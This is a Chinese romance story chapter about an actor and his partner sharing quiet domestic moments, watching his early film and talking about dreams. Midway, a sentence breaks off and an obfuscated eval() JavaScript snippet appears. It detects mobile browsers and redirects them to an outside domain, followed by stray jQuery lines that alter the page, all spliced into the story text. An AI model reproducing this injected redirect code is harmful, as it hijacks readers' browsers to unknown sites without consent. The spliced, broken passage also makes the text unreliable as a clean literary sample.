凌晨零点，城市的灯光像一幅磨砂画，在大平层的玻璃窗后逐渐模糊。谢安琪窝在沙发角落，裹着浅灰色毛毯，手里捧着一杯还冒热气的柠檬水。客厅电视屏幕亮着，播放的是郑禹胜早期参演的一部电影。
谢安琪随便找的，虽然说是随便找的，但实际也都是在他的作品里随便找的，最后看哪个都是看他。不是主角的角色，只在前半小时里有几个镜头。年轻的他在片中看上去甚至有点青涩，发型老套，动作略显僵硬。她却看得出神。
郑禹胜洗完澡出来，走进客厅，发现她正盯着电视里那个自己不太想回顾的版本，挑了下，“你居然找到这部。”
“我没找，是电视自动放的。”
“这说明你看太多相关片段，系统认定你是感兴趣。”
谢安琪抿了口水，没否认，只说“你那时候的眉毛，好像比现在还浓。”
“我那时候连表情都浓。”
她轻笑了一声，指着屏幕：“你看这段，你是不是没记住走位，撞了墙角？” 郑禹胜挠了下眉：“……导演剪掉一半的镜头就是因为这个。”
他们一起盯着那个青涩版本的他，没人再说话。灯光落在电视屏幕前，像一层轻雾。这一刻，他们仿佛在回看一个旧梦，而梦里的人刚好坐在自己身边。郑禹胜靠在沙发另一头，看着谢安琪的侧脸。
她的睫毛因为屏幕反光而投出细影，眼神安静，神情淡淡，像是真的只是在欣赏一部旧电影。但他知道她在想什么。因为他也在想。那部电影拍摄的时候，他才二十四岁，还不懂什么叫表现得不刻意，一场三分钟的沉默戏，拍了十六遍。
导演不满意，他就一遍遍试；剧组熬夜，他就跟着熬。那时的他觉得，只要熬够时间，观众总有一天会看见他。可他没想到，在时间之外的某个维度，有一个女孩，正在穿越岁月，反复走向他。
而现在，这个女孩正坐在他家里，和他一起看着那个不成熟的自己。郑禹胜不敢问她有没有认出他当时的焦虑，也不敢问她那时候就知道他会成为现在的郑禹胜。因为他怕，她喜欢的，是那个还没有长成的他。谢安琪忽然开口了：“你演这场哭戏，是自己想哭，还是被导演逼哭的？”
他没想到她会问这个，愣了一下，才答：“都有吧。”
“怎么都有？”
“那天我拍了十二个小时，最后一场戏是这个，我已经困到不行了。导演没喊停，我以为还要接着演，就开始想自己小时候一个人吃晚饭的事，眼泪就下来了。”
“你小时候一个人吃饭？”
“那时候生活就是这样，晚饭都自己热的。”
谢安琪沉默了。电视画面里的那个他，在雨夜里抱着一个道具木盒，在废弃车站哭得撕心裂肺。她想起自己第一次看这场戏的时候，是在一间大学寝室里。身边是室友的呼噜声，她一个人窝在上铺，看完这场戏时竟然也落了泪。
她以为那是因为电影剧情太煽情。可现在她明白了，那不是剧情，而是他演戏时偷偷藏进角色里的自己的心事。电影还没结束，但谢安琪有些困了，抱着毛毯躺下来。郑禹胜没关电视，只调小了音量。他拿了条薄被盖在她身上，自己也坐在茶几前，翻起第二天的工作日程。她迷迷糊糊问了一句：“你明天几点出门？”
“七点。”
“几点回来？”
“不确定，大概晚上七点以后。”
“会晚饭回来吃吗？”
“如果你做了，我就回来。”
“如果我没做呢？”
“那我就打包回来。”
她没说话，只轻轻地笑了一声。不是因为这些话有多特别，而是因为它们太普通。普通得像任何一对正在磨合的恋人，会因为晚饭的事情简单对话，会因为对方日常的调侃感到温暖。
她忽然觉得，如果他们之间真的有一场终点，那可能就是这份日常。而不是激情，不是命运，也不是穿越时空的奇迹。
郑禹胜合上平板，靠在沙发扶手上。谢安琪转身看他，微微眯着眼：“你是不是想问什么？”
“没有。”
“真的没有？”
他顿了顿，说：“只是有时候你看我的样子，好像在确认什么。”
“我确认你还在这里。”
“我怕你在想，是不是该离开了。”
她没立即回答。许久之后，谢安琪说：“有些人，在梦里太久了，会不自觉地想确认，他到底是不是现实里的人。”
郑禹胜轻声道：“我也是。”
两人对视一眼，又迅速错开，像是两颗被时间打磨得太过小心的星球，绕着彼此旋转，却始终不敢太近。谢安琪在沙发上侧过身来，头枕在郑禹胜腿边，像一只安静的猫。他没动，只伸手帮她把滑落的毛毯盖好。电视还在播放片尾曲，灯光投在他们身上，柔和又安静。
“你是不是不太喜欢提过去？”她问，郑禹胜没有立刻回答。她也没追问。谢安琪不是没察觉他偶尔闪烁的眼神、不自觉的回避，不是没发现他对那些可能揭开时间缝隙的问题始终守口如瓶。但她知道，他需要时间。她更知道，在他准备好开口之前，靠近就已经足够了。
有时候一句我懂，胜过一百句你为什么不告诉我。当屏幕进入黑场，片尾曲结束，电视突然切回主菜单界面，发出一声咔的声响。郑禹胜拿起遥控器调成静音，转过头看她。她也刚好抬头。两人四目相对的瞬间，屋内的光线仿佛顿住了几秒。
“你今天是不是做梦了？”他突然问。
谢安琪睫毛颤了下，心里轻轻一跳。
“怎么这么问？”
“你有一瞬间，看我像不认识。”
“……没有。”
她低头，抿住嘴唇。不是不想说，只是她还不确定，该不该告诉他：她确实梦见了过去的他，而那个他，比现在的他，更犹豫、更脆弱，却也一样真诚。而她，不确定这一切，是不是只是她在现实中投下的影子。
夜深的城市仿佛也疲倦下来。风穿过高楼，轻轻拂动客厅一角的窗帘，那块布随风微微飘起，又落下。郑禹胜起身把窗关好，回头发现谢安琪已睡着。
她侧身蜷成一个小小的弧度，脸颊靠着臂弯，睫毛低垂，像是安心沉入梦境。他站在原地看了一会，才蹲下来轻轻为她掖好毯子。郑禹胜的指尖落在她鬓发边缘，停了停，却没有碰。
“对不起，我还不敢问你，你梦见的是不是我。”他说得很轻，像是在跟自己说，也像是在向空气倾诉，“我怕你记得的，是那个我已经不是的版本。”
郑禹胜准备离开沙发时，谢安琪突然皱了下眉。他以为她醒了，蹲着没动。她却只是翻了个身，嘴里轻轻地说：“别走。”声音很轻，却足以叫人心软。
郑禹胜坐回原位，靠在沙发一角，把毛毯再拉了一点盖住她脚。他的眼神一点点落下来，看着她熟睡中的样子。如果过去的那些梦都是她的路途，那么现在，他愿意成为她每次醒来后看到的那道光。不是因为他从前是光，而是因为他想继续为她发光。
郑禹胜没有回房，而是坐在沙发上陪她。他的头轻靠在沙发背上，闭着眼，没有睡着，却也没有离开。像是一种等待。不是等她醒来，不是等她主动说梦境，也不是等一个答案。
只是想静静地在她身边，等一个可以一起醒来的清晨。这种等待对他来说并不陌生。二十多年来，他一直在等一个知道他全部样子的谢安琪。现在她就在眼前，他终于不需要再主动说出所有故事，只要在她身边，就够了。
谢安琪醒来的时候，天还没亮透。沙发边的窗帘没拉紧，透进一线蓝灰色的晨光。她微微动了一下，才发现自己躺着的姿势被人小心调整过，脖子下垫着靠枕，身上盖着两层毛毯。
沙发另一端，郑禹胜还在。他正抱着膝盖坐在另一头，头发有些乱，身上裹着一件薄毯，手里握着半杯凉水，他在等她醒。谢安琪喉咙有些干，坐起身，看着他，“你一直没睡？”
“也睡了一会。”
“你什么时候醒的？”
“我觉得你比我早醒。”
她笑了：“是因为我动了一下？”
“是因为你叹了口气。”
谢安琪站起身，走进厨房倒水。郑禹胜也跟了过来，靠着厨房门框，“你今天几点的车？”
“十一点飞济州岛。”
“那我送你。”
“不用了，你休息一下。”
“我想送你。”
谢安琪没有说话，倒好水递给他，两人靠在厨房里，脚边是前一晚还没收走的帆布袋，桌上是昨晚喝剩的牛奶，橱柜顶还放着他拍戏时从片场带回的便当盒。这些生活细节，让谢安琪终于不用再假装自己是他生活里的访客。
郑禹胜接过杯子时，她突然说了一句：“我不是你的观众。”
他微微一愣：“我知道。”
“我是说，我看你演戏的时候，不是那种期待你闪光的心情。”
“那你是什么心情？”
“就像看一个我认识的人，在做他一直想做的事。”
“听起来像是祝福。”
“也像是……参与。”
她看着他，语气忽然柔软下来：“你演得再好，也别忘了回来吃饭。”
郑禹胜没有笑，只静静地看着她。
“我不会忘。”他说。
他们一起把杯子洗好，厨房的灯终于关上。天光亮了一些，城市的声音开始苏醒。谢安琪靠在门口，看着他整理外出用的文件袋。
“你要带剧本去？”
“有一场替身戏导演临时说不拍了，要我自己顶上。”
“你不是说那段动作你不太熟？”
“我让动作指导提早来。”
谢安琪点点头，没再多说，郑禹胜拉上拉链，回头看她：“你呢，想不想让我记住你？”
谢安琪看着他，没回答，嘴角却缓缓翘起，那是一种极轻的回应，但郑禹胜懂了，她当然想。只是她害怕他的记忆比她的梦还短。他们下楼，走进停车场，一路沉默。谢安琪把帆布袋放在后座时，郑禹胜站
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801496|169893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在车门那边，看着她把安全带拉好。
“我送你到登机口？”
“不用了，怕你被拍。”
“那我等你进了再走。”
“也不用。”她说得轻松，像是日常寒暄，但下车时，她还是在他耳边轻声说了一句：“你别迟到，剧组应该很紧张。”
“好。”
谢安琪合上车门，开着车就离开了，直到在机场候机闭目养神的时候，她还记着一些回忆，谢安琪有一个很熟悉的梦境，梦里他们回到卧室。床是那张大平层主卧里标准的双人床，床头灯还亮着，暖光映在床单上，柔和得像黄昏。
谢安琪坐在床沿，低头脱袜子，郑禹胜走进浴室洗漱，水声细细落下，像极了哪天清晨屋塔房外的雨。她躺下时，他刚好走出来，关了灯，只剩床头一点余光。
他躺在她身边，没有碰她，只是慢慢靠近，侧身看着她。良久，他伸出一只手，从她背后轻轻环住她。没有多余动作，也没有语言暗示。只是单纯的靠近。像是为了确认，她真的在。
“今天不用说话，”他贴着她耳边轻轻说，“我就很开心。”
谢安琪没有回应。但她的呼吸渐渐平稳。那天醒来的时候，谢安琪发现床的一侧已经空了，被窝还带着微微温度。她下床走进厨房，发现锅里保温着一碗白粥，旁边放着热好的小菜，餐桌上压着一张纸条。
【今天七点出发，拍广告，晚上七点回。不用做饭，我打包回来。郑】
纸条写得很平常，连落款都像便签一样简洁，但她却看了许久，那种平静而有条理的生活方式，不是郑禹胜以前的样子。他过去的作息不规律，习惯临时决定饮食，也不常写纸条，甚至连告别都很少说清楚。
谢安琪看着那句我打包回来，心里忽然泛起一点湿意，他开始调整生活，是从什么时候开始的？也许就是从她走进他的屋子开始，这一日之后，郑禹胜开始有了准时回家的习惯。
拍戏结束，不再留下来和导演讨论太久的构图，也不再应付每一个酒局邀请。他甚至拒绝了两个通告拍摄后的饭局，只说家里有人等，剧组里开始有人议论。
“郑代表最近不太一样啊，以前拍完戏都能玩到深夜。”
“他是不是谈恋爱了？”
“谈恋爱也太稳定了吧……每天这么规律？”
“你别说，我那天还在地下停车场看到他下班直接开车走，像是赶着回去。”
但没人知道，郑禹胜也只是习惯了有人在屋里等他，而所有的改变，都不是他自己说的。是别人从行为里看出来的。某次通告收工之后，化妆间里一位副导演一边拆灯一边说：“你们发现郑代表变了吗？这几天说话都带笑。”
“是啊，以前拍夜戏他一脸别烦我的气息，现在主动给新人让位置。”
“有问题，这不像他。”
有人半开玩笑地问旁边的助理：“你们老板是不是恋爱了？”
那助理笑了笑，没有正面回应，只低声说了一句：“可能吧，我觉得他好像等到他等的人了。”
这话听起来很奇怪，没有人追问这句话是什么意思，但听懂的人都沉默了。因为他们都见过那个叫郑禹胜的人，曾经是多么不肯停留、多么不肯低头，而现在，他愿意为了一个人，准时回家。
济州岛的夜色落得很快，天黑之后，窗外高楼上的灯牌纷纷亮起，谢安琪吃过饭，刷了碗，又把酒店的落地灯打开，坐在沙发一角看书。身上套着宽松的家居服，头发挽在一边，额角被灯光染得柔软。
电视静音开着，她没怎么注意画面，只偶尔抬头看看，房间的静，总让人容易听见心跳。
她没有发消息给郑禹胜，也没有问他拍摄顺不顺利只是等着，这种等待没有确切的钟点，只是一种默契，他会回来。
晚上八点四十，卡滴答刷开了大门，然后是门锁转动声响起，她没抬头，只是嘴角翘了一下，像习惯了归属的声音。他进门后脱了外套，走过来把一个打包袋递给她，声音低沉：“鱿鱼汤和辣牛肉汤，我猜你会选前者。”
她笑了：“我选你。”
郑禹胜愣了两秒，才轻轻咳了下：“那我算配菜吗？”
“你是汤。”
洗完澡后，郑禹胜坐在沙发上，抱着一条毯子，看她拆开便当盒，把菜一一摆好。她没化妆，头发还湿着，披在肩上，有种刚醒来的慵懒气息。他看着她，突然说：“以后拍夜戏回来，如果我没带吃的，你会生气吗？”
“不会。”
“那你会饿着吗？”
“不会，我会点外卖。”
他低笑：“还真实际。”
谢安琪看着他：“但我会想你。”
郑禹胜收敛了笑容，他没说话，只是伸手摸了摸她还半干的发尾，这个动作很轻，却像是无声的回应。因为他也想她，只是还没学会怎么表达。但所有人都看得出来，他每天拍完戏立刻离开剧组，哪怕只为回来坐着看她拆便当，也是心甘情愿，那些没说出口的心跳，早就落在每个回家路上的车窗里。